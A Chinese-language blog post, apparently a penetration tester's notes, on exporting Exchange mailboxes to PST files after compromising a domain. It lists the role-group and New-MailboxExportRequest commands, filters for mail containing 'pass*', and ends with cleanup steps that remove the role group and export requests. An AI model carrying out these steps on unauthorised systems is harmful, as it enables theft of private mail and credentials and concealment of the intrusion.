PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

Exchange邮件导出方法

2018-11-22
PythonPig

#0x00 写在前面

最近在渗透目标内网过程中需要收集些信息,拿下域控后翻了些机器,没找到有用的信息,考虑到邮服已经拿下,导出邮件翻一下,可能会有惊喜~~

Exchange邮件导出网络上的文章已经很多了,但每篇文章都讲到了各种方法,但也有讲述不准确的地方,自己在导出的时候还是会遇到这样那样的问题,这篇文章算是个简单的记录吧,今天感恩节,感谢前辈们写的不错的文章(链接在文章最后的参考章节)。

一般邮服上的邮件比较大,不适合全部导出(文件太大下载回本地也是一个比较困难的事),因此首先考虑导出指定用户的邮件。

#0x01 导出指定用户的邮件

1、在邮件服务器上打开Exchange Management Shell
2、新建一个Exchange角色组并将其添加到Mailbox Import Export 管理角色中

首先查看是否有mailbox import export的角色

Get-ManagementRoleAssignment

没有mailbox import export角色,使用命令创建一个角色组名称为Enterprise Mail Support,并将其赋予Mailbox Import Export角色权限,将Administrator加入到成员中(Administrator可以是当前登录的系统用户)。

New-RoleGroup –Name "Enterprise Mail Support" -Roles "Mailbox Import Export" -Members Administrator -Description "Import Export_Enterprise Support"

注意:添加完角色后重新打开Exchange Management Shell

3、创建共享文件夹(邮件导出的目的目录)
若要导出邮箱或存档,必须首先创建网络共享文件夹。需要给导出或导入邮件的网络共享目录授予对“Exchange 受信任子系统(Exchange Trusted Subsystem、Exchange Trusted Subsystem1)”组的读/写权限。如果不授予此权限,则将收到一条错误消息,表明 Exchange 无法建立与目标邮箱的连接。本次渗透创建的共享文件夹为本地目录: C:\temp\PST

4、创建指定用户邮件导出请求

通过命令将指定用户(admin)的归档邮箱邮件导出到PST文件中,下面的命令执行完成后,邮件会被导出的目标文件夹(可能会等一会才开始处理导出请求)。

New-MailboxExportRequest -Mailbox admin -FilePath "\\hostname\PST\admin.pst"

注意:-FilePath这个参数,若要把邮件导出到本地的共享文件夹,hostname这里写本机的hostname即可,不能用127.0.0.1;若要导出到其他机器上,可以直接写目标机器的ip地址或hostname。

5、浏览邮件
这里用到的工具是:free kernel pst viewer
安装后打开pst文件即可浏览邮件了。

6、删除创建的角色和导出请求
邮件导出完成后,当然要删除创建的角色和导出请求。
删除角色组使用命令:

Remove-RoleGroup -Identity "Enterprise Mail Support"

删除处于完成状态的邮件导出请求:

Get-MailboxExportRequest –Status Completed | Remove-MailboxExportRequest

#0x02 导出所有用户邮件

这种方法本次渗透过程中没有使用,方法请参考本文最后章节中的参考文章

#0x03 其他记录

1、导出某用户特定时间内的邮件

New-MailboxExportRequest -ContentFilter {((Received -gt '05/04/2013 0:00:00') -and (Received -lt '05/09/2013 23:59:59')) -or ((Sent -gt '05/04/2013 0:00:00') -and (Sent -lt '05/09/2013 23:59:59'))} -Mailbox username -FilePath "\\hostname\PST\username.pst"

2、导出某用户包含特定内容的邮件

New-MailboxExportRequest -Mailbox username -ContentFilter {(body -like "pass*") -or (body -like "username")} -FilePath "\\hostname\PST\username.pst"

3、导出某用户“收件箱”中的邮件

New-MailboxExportRequest -Mailbox username -IncludeFolders "#Inbox#" -FilePath "\\hostname\PST\username.pst"

#0x04 其他命令

查看正在排队的导出请求

Get-MailboxExportRequest –Status queued

查看正在执行的导出请求

Get-MailboxExportRequest –Status inprogress

查看已完成的导出请求

Get-MailboxExportRequest –Status completed

#0x05 参考


Comments

Content